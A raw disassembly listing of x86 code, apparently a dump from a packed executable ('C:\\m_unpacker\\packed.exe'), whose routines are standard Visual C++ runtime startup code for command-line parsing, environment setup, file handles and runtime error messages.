loc_423678: ; CODE XREF: sub_423638+3Aj
xor eax, eax
locret_42367A: ; CODE XREF: sub_423638+3Ej
retn
sub_423638 endp
; ---------------------------------------------------------------------------
cmp dword_4DD394, 0
jnz short loc_423689
call sub_420B0D
loc_423689: ; CODE XREF: ___:00423682j
push esi
mov esi, dword_4DD38C
mov al, [esi]
cmp al, 22h
jnz short loc_4236BB
loc_423696: ; CODE XREF: ___:004236AEj
; ___:004236B1j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_4236B3
test al, al
jz short loc_4236B3
movzx eax, al
push eax
call sub_424FE7
test eax, eax
pop ecx
jz short loc_423696
inc esi
jmp short loc_423696
; ---------------------------------------------------------------------------
loc_4236B3: ; CODE XREF: ___:0042369Cj
; ___:004236A0j
cmp byte ptr [esi], 22h
jnz short loc_4236C5
loc_4236B8: ; CODE XREF: ___:004236CDj
inc esi
jmp short loc_4236C5
; ---------------------------------------------------------------------------
loc_4236BB: ; CODE XREF: ___:00423694j
cmp al, 20h
jbe short loc_4236C5
loc_4236BF: ; CODE XREF: ___:004236C3j
inc esi
cmp byte ptr [esi], 20h
ja short loc_4236BF
loc_4236C5: ; CODE XREF: ___:004236B6j
; ___:004236B9j ...
mov al, [esi]
test al, al
jz short loc_4236CF
cmp al, 20h
jbe short loc_4236B8
loc_4236CF: ; CODE XREF: ___:004236C9j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4DD394, ebx
push esi
push edi
jnz short loc_4236E5
call sub_420B0D
loc_4236E5: ; CODE XREF: ___:004236DEj
mov esi, dword_4DBE34
xor edi, edi
loc_4236ED: ; CODE XREF: ___:00423703j
mov al, [esi]
cmp al, bl
jz short loc_423705
cmp al, 3Dh
jz short loc_4236F8
inc edi
loc_4236F8: ; CODE XREF: ___:004236F5j
push esi
call sub_41B9C0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_4236ED
; ---------------------------------------------------------------------------
loc_423705: ; CODE XREF: ___:004236F1j
lea eax, ds:4[edi*4]
push eax
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DBE04, esi
jnz short loc_423727
push 9
call sub_41E2C9
pop ecx
loc_423727: ; CODE XREF: ___:0042371Dj
mov edi, dword_4DBE34
cmp [edi], bl
jz short loc_42376A
push ebp
loc_423732: ; CODE XREF: ___:00423767j
push edi
call sub_41B9C0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_423763
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_423756
push 9
call sub_41E2C9
pop ecx
loc_423756: ; CODE XREF: ___:0042374Cj
push edi
push dword ptr [esi]
call sub_41C890
pop ecx
add esi, 4
pop ecx
loc_423763: ; CODE XREF: ___:0042373Fj
add edi, ebp
cmp [edi], bl
jnz short loc_423732
pop ebp
loc_42376A: ; CODE XREF: ___:0042372Fj
push dword_4DBE34
call sub_41BA91
pop ecx
mov dword_4DBE34, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DD390, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DD394, ebx
push esi
push edi
jnz short loc_4237A3
call sub_420B0D
loc_4237A3: ; CODE XREF: ___:0042379Cj
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
nop
call near ptr 2670000h
mov eax, dword_4DD38C
mov off_4DBE14, esi
mov edi, esi
cmp [eax], bl
jz short loc_4237C8
mov edi, eax
loc_4237C8: ; CODE XREF: ___:004237C4j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_423825
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_41BEB5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_4237F8
push 8
call sub_41E2C9
pop ecx
loc_4237F8: ; CODE XREF: ___:004237EEj
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_423825
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_4DBDFC, esi
pop edi
pop esi
mov dword_4DBDF8, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423825 proc near ; CODE XREF: ___:004237D3p
; ___:00423809p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_42384F
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42384F: ; CODE XREF: sub_423825+20j
cmp byte ptr [eax], 22h
jnz short loc_423898
loc_423854: ; CODE XREF: sub_423825+58j
; sub_423825+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_423886
test dl, dl
jz short loc_423886
movzx edx, dl
test byte_4DD261[edx], 4
jz short loc_423879
inc dword ptr [ecx]
test esi, esi
jz short loc_423879
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423879: ; CODE XREF: sub_423825+46j
; sub_423825+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_423854
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_423854
; ---------------------------------------------------------------------------
loc_423886: ; CODE XREF: sub_423825+36j
; sub_423825+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423890
and byte ptr [esi], 0
inc esi
loc_423890: ; CODE XREF: sub_423825+65j
cmp byte ptr [eax], 22h
jnz short loc_4238DB
inc eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_423898: ; CODE XREF: sub_423825+2Dj
; sub_423825+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_4238A3
mov dl, [eax]
mov [esi], dl
inc esi
loc_4238A3: ; CODE XREF: sub_423825+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DD261[ebx], 4
jz short loc_4238BE
inc dword ptr [ecx]
test esi, esi
jz short loc_4238BD
mov bl, [eax]
mov [esi], bl
inc esi
loc_4238BD: ; CODE XREF: sub_423825+91j
inc eax
loc_4238BE: ; CODE XREF: sub_423825+8Bj
cmp dl, 20h
jz short loc_4238CC
test dl, dl
jz short loc_4238D0
cmp dl, 9
jnz short loc_423898
loc_4238CC: ; CODE XREF: sub_423825+9Cj
test dl, dl
jnz short loc_4238D3
loc_4238D0: ; CODE XREF: sub_423825+A0j
dec eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_4238D3: ; CODE XREF: sub_423825+A9j
test esi, esi
jz short loc_4238DB
and byte ptr [esi-1], 0
loc_4238DB: ; CODE XREF: sub_423825+6Ej
; sub_423825+71j ...
and [ebp+arg_10], 0
loc_4238DF: ; CODE XREF: sub_423825+19Ej
cmp byte ptr [eax], 0
jz loc_4239C8
loc_4238E8: ; CODE XREF: sub_423825+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4238F4
cmp dl, 9
jnz short loc_4238F7
loc_4238F4: ; CODE XREF: sub_423825+C8j
inc eax
jmp short loc_4238E8
; ---------------------------------------------------------------------------
loc_4238F7: ; CODE XREF: sub_423825+CDj
cmp byte ptr [eax], 0
jz loc_4239C8
test edi, edi
jz short loc_42390C
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42390C: ; CODE XREF: sub_423825+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423911: ; CODE XREF: sub_423825+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_42391A: ; CODE XREF: sub_423825+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_423923
inc eax
inc ebx
jmp short loc_42391A
; ---------------------------------------------------------------------------
loc_423923: ; CODE XREF: sub_423825+F8j
cmp byte ptr [eax], 22h
jnz short loc_423954
test bl, 1
jnz short loc_423952
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423941
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423941
mov eax, edx
jmp short loc_423944
; ---------------------------------------------------------------------------
loc_423941: ; CODE XREF: sub_423825+10Dj
; sub_423825+116j
mov [ebp+arg_0], edi
loc_423944: ; CODE XREF: sub_423825+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423952: ; CODE XREF: sub_423825+106j
shr ebx, 1
loc_423954: ; CODE XREF: sub_423825+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423969
inc ebx
loc_42395C: ; CODE XREF: sub_423825+142j
test esi, esi
jz short loc_423964
mov byte ptr [esi], 5Ch
inc esi
loc_423964: ; CODE XREF: sub_423825+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_42395C
loc_423969: ; CODE XREF: sub_423825+134j
mov dl, [eax]
test dl, dl
jz short loc_4239B9
cmp [ebp+arg_10], 0
jnz short loc_42397F
cmp dl, 20h
jz short loc_4239B9
cmp dl, 9
jz short loc_4239B9
loc_42397F: ; CODE XREF: sub_423825+14Ej
cmp [ebp+arg_0], 0
jz short loc_4239B3
test esi, esi
jz short loc_4239A2
movzx ebx, dl
test byte_4DD261[ebx], 4
jz short loc_42399B
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_42399B: ; CODE XREF: sub_423825+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4239B1
; ---------------------------------------------------------------------------
loc_4239A2: ; CODE XREF: sub_423825+162j
movzx edx, dl
test byte_4DD261[edx], 4
jz short loc_4239B1
inc eax
inc dword ptr [ecx]
loc_4239B1: ; CODE XREF: sub_423825+17Bj
; sub_423825+187j
inc dword ptr [ecx]
loc_4239B3: ; CODE XREF: sub_423825+15Ej
inc eax
jmp loc_423911
; ---------------------------------------------------------------------------
loc_4239B9: ; CODE XREF: sub_423825+148j
; sub_423825+153j ...
test esi, esi
jz short loc_4239C1
and byte ptr [esi], 0
inc esi
loc_4239C1: ; CODE XREF: sub_423825+196j
inc dword ptr [ecx]
jmp loc_4238DF
; ---------------------------------------------------------------------------
loc_4239C8: ; CODE XREF: sub_423825+BDj
; sub_423825+D5j
test edi, edi
jz short loc_4239CF
and dword ptr [edi], 0
loc_4239CF: ; CODE XREF: sub_423825+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_423825 endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_4DBFA4
push ebx
push ebp
mov ebp, dword_427030
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_423A27
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_423A08
mov dword_4DBFA4, 1
jmp short loc_423A30
; ---------------------------------------------------------------------------
loc_423A08: ; CODE XREF: ___:004239FAj
nop
call near ptr 2630290h
mov edi, eax
cmp edi, ebx
jz loc_423B02
mov dword_4DBFA4, 2
jmp loc_423AB6
; ---------------------------------------------------------------------------
loc_423A27: ; CODE XREF: ___:004239F2j
cmp eax, 1
jnz loc_423AB1
loc_423A30: ; CODE XREF: ___:00423A06j
cmp esi, ebx
jnz short loc_423A40
call ebp
mov esi, eax
cmp esi, ebx
jz loc_423B02
loc_423A40: ; CODE XREF: ___:00423A32j
cmp [esi], bx
mov eax, esi
jz short loc_423A55
loc_423A47: ; CODE XREF: ___:00423A4Cj
; ___:00423A53j
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
loc_423A55: ; CODE XREF: ___:00423A45j
sub eax, esi
mov edi, dword_427188
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_423AA6
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_423AA6
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_423AA2
push dword ptr [esp+10h]
call sub_41BA91
pop ecx
mov [esp+10h], ebx
loc_423AA2: ; CODE XREF: ___:00423A92j
mov ebx, [esp+10h]
loc_423AA6: ; CODE XREF: ___:00423A72j
; ___:00423A81j
push esi
nop
call near ptr 263056Ch
mov eax, ebx
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423AB1: ; CODE XREF: ___:00423A2Aj
cmp eax, 2
jnz short loc_423B02
loc_423AB6: ; CODE XREF: ___:00423A22j
cmp edi, ebx
jnz short loc_423AC6
nop
call near ptr 2630290h
mov edi, eax
cmp edi, ebx
jz short loc_423B02
loc_423AC6: ; CODE XREF: ___:00423AB8j
cmp [edi], bl
mov eax, edi
jz short loc_423AD6
loc_423ACC: ; CODE XREF: ___:00423ACFj
; ___:00423AD4j
inc eax
cmp [eax], bl
jnz short loc_423ACC
inc eax
cmp [eax], bl
jnz short loc_423ACC
loc_423AD6: ; CODE XREF: ___:00423ACAj
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_423AEC
xor esi, esi
jmp short loc_423AF7
; ---------------------------------------------------------------------------
loc_423AEC: ; CODE XREF: ___:00423AE6j
push ebp
push edi
push esi
call sub_41CD20
add esp, 0Ch
loc_423AF7: ; CODE XREF: ___:00423AEAj
push edi
call near ptr 26305CEh
nop
mov eax, esi
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423B02: ; CODE XREF: ___:00423A12j
; ___:00423A3Aj ...
xor eax, eax
loc_423B04: ; CODE XREF: ___:00423AAFj
; ___:00423B00j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423B2B
push 1Bh
call sub_41E2C9
pop ecx
loc_423B2B: ; CODE XREF: ___:00423B21j
mov dword_4DD040, esi
mov dword_4DD140, 20h
lea eax, [esi+100h]
loc_423B41: ; CODE XREF: ___:00423B5Dj
cmp esi, eax
jnb short loc_423B5F
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DD040
add esi, 8
add eax, 100h
jmp short loc_423B41
; ---------------------------------------------------------------------------
loc_423B5F: ; CODE XREF: ___:00423B43j
lea eax, [esp+10h]
push eax
nop
call near ptr 2850000h
cmp word ptr [esp+42h], 0
jz loc_423C3B
mov eax, [esp+44h]
test eax, eax
jz loc_423C3B
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_423B95
mov esi, eax
loc_423B95: ; CODE XREF: ___:00423B91j
cmp dword_4DD140, esi
jge short loc_423BEF
mov edi, offset dword_4DD044
loc_423BA2: ; CODE XREF: ___:00423BE5j
push 100h
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423BE9
add dword_4DD140, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_423BC0: ; CODE XREF: ___:00423BDAj
cmp eax, ecx
jnb short loc_423BDC
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_423BC0
; ---------------------------------------------------------------------------
loc_423BDC: ; CODE XREF: ___:00423BC2j
add edi, 4
cmp dword_4DD140, esi
jl short loc_423BA2
jmp short loc_423BEF
; ---------------------------------------------------------------------------
loc_423BE9: ; CODE XREF: ___:00423BAFj
mov esi, dword_4DD140
loc_423BEF: ; CODE XREF: ___:00423B9Bj
; ___:00423BE7j
xor edi, edi
test esi, esi
jle short loc_423C3B
loc_423BF5: ; CODE XREF: ___:00423C39j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423C32
mov cl, [ebp+0]
test cl, 1
jz short loc_423C32
test cl, 8
jnz short loc_423C14
push eax
nop
call near ptr 26206E4h
test eax, eax
jz short loc_423C32
loc_423C14: ; CODE XREF: ___:00423C07j
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423C32: ; CODE XREF: ___:00423BFAj
; ___:00423C02j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_423BF5
loc_423C3B: ; CODE XREF: ___:00423B70j
; ___:00423B7Cj ...
xor ebx, ebx
loc_423C3D: ; CODE XREF: ___:00423CA0j
mov eax, dword_4DD040
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_423C98
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_423C58
push 0FFFFFFF6h
pop eax
jmp short loc_423C62
; ---------------------------------------------------------------------------
loc_423C58: ; CODE XREF: ___:00423C51j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423C62: ; CODE XREF: ___:00423C56j
push eax
nop
call near ptr 2630000h
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_423C87
push edi
nop
call near ptr 26206E4h
test eax, eax
jz short loc_423C87
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423C8D
loc_423C87: ; CODE XREF: ___:00423C6Ej
; ___:00423C79j
or byte ptr [esi+4], 40h
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C8D: ; CODE XREF: ___:00423C85j
cmp eax, 3
jnz short loc_423C9C
or byte ptr [esi+4], 8
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C98: ; CODE XREF: ___:00423C49j
or byte ptr [esi+4], 80h
loc_423C9C: ; CODE XREF: ___:00423C8Bj
; ___:00423C90j ...
inc ebx
cmp ebx, 3
jl short loc_423C3D
push dword_4DD140
nop
call near ptr 2630163h
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CC0 proc near ; DATA XREF: sub_4228FD+Ao
; sub_422A2C+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423D60
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_423CF3: ; CODE XREF: sub_423CC0+90j
cmp esi, 0FFFFFFFFh
jz short loc_423D59
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_423D47
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_423D47
js short loc_423D52
mov edi, [ebx+8]
push ebx
call sub_41D550
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D592
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D626
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_423D47: ; CODE XREF: sub_423CC0+40j
; sub_423CC0+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_423CF3
; ---------------------------------------------------------------------------
loc_423D52: ; CODE XREF: sub_423CC0+54j
mov eax, 0
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D59: ; CODE XREF: sub_423CC0+36j
mov eax, 1
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D60: ; CODE XREF: sub_423CC0+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D592
add esp, 8
pop ebp
mov eax, 1
loc_423D75: ; CODE XREF: sub_423CC0+97j
; sub_423CC0+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423CC0 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D592
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p
mov eax, dword_4DBE3C
cmp eax, 1
jz short loc_423DAF
test eax, eax
jnz short locret_423DD0
cmp dword_43AE44, 1
jnz short locret_423DD0
loc_423DAF: ; CODE XREF: sub_423D98+8j
push 0FCh
call sub_423DD1
mov eax, dword_4DBFA8
pop ecx
test eax, eax
jz short loc_423DC5
call eax
loc_423DC5: ; CODE XREF: sub_423D98+29j
push 0FFh
call sub_423DD1
pop ecx
locret_423DD0: ; CODE XREF: sub_423D98+Cj
; sub_423D98+15j
retn
sub_423D98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p
; sub_423D98+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43D4D8
loc_423DE4: ; CODE XREF: sub_423DD1+20j
cmp edx, [eax]
jz short loc_423DF3
add eax, 8
inc ecx
cmp eax, offset off_43D568
jl short loc_423DE4
loc_423DF3: ; CODE XREF: sub_423DD1+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43D4D8[esi]
jnz loc_423F21
mov eax, dword_4DBE3C
cmp eax, 1
jz loc_423EFB
test eax, eax
jnz short loc_423E24
cmp dword_43AE44, 1
jz loc_423EFB
loc_423E24: ; CODE XREF: sub_423DD1+44j
cmp edx, 0FCh
jz loc_423F21
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call near ptr 2670000h
nop
test eax, eax
jnz short loc_423E5B
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41C890
pop ecx
pop ecx
loc_423E5B: ; CODE XREF: sub_423DD1+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41B9C0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423E9E
lea eax, [ebp+var_1A4]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41BFD0
add esp, 10h
loc_423E9E: ; CODE XREF: sub_423DD1+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41C890
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41C8A0
lea eax, [ebp+var_A0]
push offset asc_427BF0 ; "\n\n"
push eax
call sub_41C8A0
push off_43D4DC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41C8A0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_425029
add esp, 2Ch
pop edi
jmp short loc_423F21
; ---------------------------------------------------------------------------
loc_423EFB: ; CODE XREF: sub_423DD1+3Cj
; sub_423DD1+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43D4DC[esi]
push 0
push eax
push dword ptr [esi]
call sub_41B9C0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
nop
call near ptr 2630000h
push eax
nop
call near ptr 2700000h
loc_423F21: ; CODE XREF: sub_423DD1+2Ej
; sub_423DD1+59j ...
pop esi
leave
retn
sub_423DD1 endp
; =============== S U B R O U T I N E =======================================
sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DD040
loc_423F33: ; CODE XREF: sub_423F24+48j
mov eax, [ecx]
test eax, eax
jz short loc_423F70
lea edx, [eax+100h]
loc_423F3F: ; CODE XREF: sub_423F24+28j
cmp eax, edx
jnb short loc_423F5F
test byte ptr [eax+4], 1
jz short loc_423F4E
add eax, 8
jmp short loc_423F3F
; ---------------------------------------------------------------------------
loc_423F4E: ; CODE XREF: sub_423F24+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_423FB3
loc_423F5F: ; CODE XREF: sub_423F24+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DD140
jl short loc_423F33
jmp short loc_423FB3
; ---------------------------------------------------------------------------
loc_423F70: ; CODE XREF: sub_423F24+13j
mov esi, 100h
push esi
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423FB3
add dword_4DD140, 20h
lea ecx, ds:4DD040h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_423F96: ; CODE XREF: sub_423F24+88j
cmp eax, edx
jnb short loc_423FAE
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_423F96
; ---------------------------------------------------------------------------
loc_423FAE: ; CODE XREF: sub_423F24+74j
shl edi, 5
mov ebx, edi
loc_423FB3: ; CODE XREF: sub_423F24+39j
; sub_423F24+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_423F24 endp
; =============== S U B R O U T I N E =======================================
sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD140
push edi
jnb short loc_424019
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_424019
cmp dword_43AE44, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_42400F
sub eax, 0
jz short loc_424006
dec eax
jz short loc_424001
dec eax
jnz short loc_42400F
push ebx
push 0FFFFFFF4h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FB9+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424006: ; CODE XREF: sub_423FB9+3Bj
push ebx
push 0FFFFFFF6h
loc_424009: ; CODE XREF: sub_423FB9+46j
; sub_423FB9+4Bj
call near ptr 26204D0h
nop
loc_42400F: ; CODE XREF: sub_423FB9+36j
; sub_423FB9+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_42402D
; ---------------------------------------------------------------------------
loc_424019: ; CODE XREF: sub_423FB9+Cj
; sub_423FB9+28j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
loc_42402D: ; CODE XREF: sub_423FB9+5Ej
pop edi
pop esi
retn
sub_423FB9 endp
; =============== S U B R O U T I N E =======================================
sub_424030 proc near ; CODE XREF: sub_41E312+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DD140
push edi
jnb short loc_424093
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_424093
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_424093
cmp dword_43AE44, 1
jnz short loc_424089
xor eax, eax
sub ecx, eax
jz short loc_424080
dec ecx
jz short loc_42407B
dec ecx
jnz short loc_424089
push eax
push 0FFFFFFF4h
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_42407B: ; CODE XREF: sub_424030+41j
push eax
push 0FFFFFFF5h
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_424080: ; CODE XREF: sub_424030+3Ej
push eax
push 0FFFFFFF6h
loc_424083: ; CODE XREF: sub_424030+49j
; sub_424030+4Ej
nop
call near ptr 26204D0h
loc_424089: ; CODE XREF: sub_424030+38j
; sub_424030+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_4240A7
; ---------------------------------------------------------------------------
loc_424093: ; CODE XREF: sub_424030+Cj
; sub_424030+2Aj ...
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
loc_4240A7: ; CODE XREF: sub_424030+61j
pop edi
pop esi
retn
sub_424030 endp
; =============== S U B R O U T I N E =======================================
sub_4240AA proc near ; CODE XREF: sub_41E312+32p
; sub_41E312+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
